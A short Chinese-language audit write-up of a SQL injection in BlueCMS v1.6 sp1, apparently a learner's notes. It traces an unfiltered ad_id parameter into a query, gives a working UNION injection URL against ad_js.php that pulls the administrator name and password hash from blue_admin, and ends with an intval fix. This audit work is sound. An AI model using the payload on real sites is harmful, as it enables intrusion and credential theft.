新手審計cms BlueCMSv1.6 sp1 這個cms有很多漏洞所以來審計一波。。做一手記錄
漏洞一:SQL注入:
可以通過網上大佬的方法用法師大大的seay工具,也可以用phpstroml來審計
1、通過seay或者phpstrom來搜索經典的傳參方式$_GET、$_POST等
2、這里我們可以發現$ad_id沒有進行過濾,我們繼續追蹤這個變量
1 $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
3、這里這個變量直接被帶入到數據庫中查詢,由於這個變量是可控的
if(empty($ad_id)) { echo 'Error!'; exit(); } $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
4、驗證
ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1
5、修復:
$ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';